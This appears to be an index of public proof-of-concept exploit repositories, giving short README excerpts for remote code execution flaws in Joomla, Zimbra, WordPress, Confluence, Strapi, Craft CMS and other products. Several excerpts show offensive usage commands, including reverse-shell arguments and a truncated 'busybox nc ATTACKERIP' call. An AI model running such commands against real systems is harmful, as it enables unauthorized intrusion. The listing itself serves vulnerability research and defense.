CVE-2021-23132

CVE-2021-23132 commedia allowed paths that are not intended for image uploads to RCE. CVE-2020-24597 Directory traversal in commedia to RCE Two CVEs are the same. PoC Full Affected version: Joomla core =3.9.24 User requirement: Admin account Not Superadmin Gain access: Create superadmin, then...

Zimbra

Active Exploitation of Zimbra CVE-2022-37042 RCE Unauthenticated The following research began by trying to understand the POCs from several GitHub repositories shared by many researchers and ended in an interesting surprise, which I will share in the following paragraphs. On August 10 of this yea...

CVE-2019-8942

CVE-2019-8942 and CVE-2019-8943: WordPress RCE author privilege Overview CVE-2019-8942 is a vulnerability that exploits an LFI flaw combined with the File Upload feature to achieve RCE on a WordPress web server with author privileges. Affected WordPress versions include those before 4.9.9 and 5.x...

CVE-2026-1731

CVE-2026-1731 Blind RCE PoC Effected Versions: Privileged Remote Access : = 24.3.4 Remote Support : = 25.3.1 For further information I recommend you read the analysis by attackerkb.com. How to Build You will need to following tools to build this PoC: Git, rust 1. Clone my repository git clone...

CVE-2025-49091-Gajim-RCE

CVE-2025-49091 - Python Proof of Concept Proof-of-concept PoC exploit for CVE-2025-49091 for Gajim encrypted messenger. Discovered by Patryk Ptak SivertPL and Dennis Dast independently, exploit by Patryk Ptak. Files CVE-2025-49091.py – Python PoC. Usage python3 CVE-2025-49091.py Adjust any requir...

CVE-2024-4883

CVE-2024-4883 PoC for CVE-2024-4883 Progress WhatsUp Gold WriteDatafile Unauthenticated Remote Code Execution CVE-2024-4883 Technical Analysis A root cause analysis of the vulnerability can be found on my blog: https://summoning.team/blog/progress-whatsup-gold-WriteDataFile-CVE-2024-4883-RCE/ Usa...

cve-2026-60004

CVE-2026-60004 — Gitea = 1.27.0 Pre-Auth Remote Code Execution Description CVE-2026-60004 is a critical vulnerability CVSS 9.8 in Gitea that allows unauthenticated remote code execution via the /api/v1/repos/owner/repo/diffpatch endpoint. Tools 1. Detector detector.py Detects whether a Gitea...

watchTowr-vs-f5-bigip-PreAuth-RCE-CVE-2026-94127

watchTowr-vs-f5-bigip-PreAuth-RCE Detection Artifact Generator for F5 BIG-IP See our blog post for technical details. Detection in Action ./watchTowr-vs-f5-bigip-PreAuth-RCE-CVE-2026-94127.py --host 192.168.5.36 --port 80 --command 'touch /tmp/hello' all the offsets/addresses are hardcoded for...

CVE-2026-26119

CVE-2026-26119 - Windows Admin Center authenticated PowerShell execution PoC Proof-of-concept for CVE-2026-26119, classified by Microsoft as an elevation-of-privilege / improper-authentication vulnerability CWE-287 in Windows Admin Center WAC. An authenticated low-privilege WAC user can drive the...

cve-2024-36401-geoserver-rce

CVE-2024-36401 — Unauthenticated RCE in GeoServer A complete, reproducible study of CVE-2024-36401 , an unauthenticated remote code execution flaw in GeoServer — the most widely deployed open-source server for geospatial data. The bug is an eval injection : through the parameters of the OGC...

CVE-2022-26134

Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severit...

CVE-2024-7954

CVE-2024-7954 This exploit will attempt to execute system commands on SPIP targets CVE-2024-7954. Overview This is a bulk scanning and exploitation tool for CVE-2024-7954: SPIP 4.2.8 allows unauthenticated attackers to launch RCE on SPIP targets. This tool is based on this Security Research. How ...

CVE-2018-11770

CVE-2018-11770 Apache Spark Unauthenticated Reverse Shell RCE Standalone Python 3 RCE exploit for Apache Spark rewritten from this Metasploit module Exploit POC explained here. The exploit code itself is explained here. Tested with Python 3.7 on this target. Usage:...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 and 19606 Blind Remote Code Execution of Strapi CMS Version 3.0.0-beta.17.7 and earlier to get reverse shell Getting Started Executing program Using python3 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001...

CVE-2023-4861-PoC

CVE-2023-4861 PoC This repository contains a Python proof of concept for CVE-2023-4861 , an authenticated remote code execution issue in the WordPress plugin File Manager Pro - Filester. Vulnerability Summary CVE: CVE-2023-4861 Product: File Manager Pro - Filester filester Vulnerable versions:...

CVE-2026-61511-PoC-Exploit

CVE-2026-61511 – vBulletin Pre‑Auth RCE Exploit & Verifier ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING This repository provides tools for authorized security professionals, blue teams, and penetration testers only. Unauthorized access to computer systems is illegal under CFAA US, Computer Misu...

crapsecrets

Forked originally from badsecrets 0.7.0 Synced occasionally until March 2025! Outdated with some modules and test cases are not up2date! Good for ASP.NET compromised Machine Key testing! This is CrapBadSecrets mkdir -p /ctools/ cd /ctools/ git clone https://github.com/irsdl/crapsecrets/ cd...

CVE-2022-26134

CVE-2022-26134 Confluence Server and Data Center - CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability Summary| CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data Center ---|--- Affected Products|...

wp2shell_scanner

wp2shellscanner Non-intrusive detection scanner for recent WordPress core vulnerabilities — including the wp2shell pre-authentication RCE chain. wp2shellscanner.py fingerprints a WordPress site's core version and reads its publicly advertised REST API surface, then classifies each tracked core CV...

CVE-2026-28695

CVE-2026-28695 Patch Bypass - Craft CMS Blind RCE Authenticated blind remote code execution in Craft CMS. Bypasses the create - BaseObject restriction added in the CVE-2026-28695 fix commit e31e508. Usage python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP...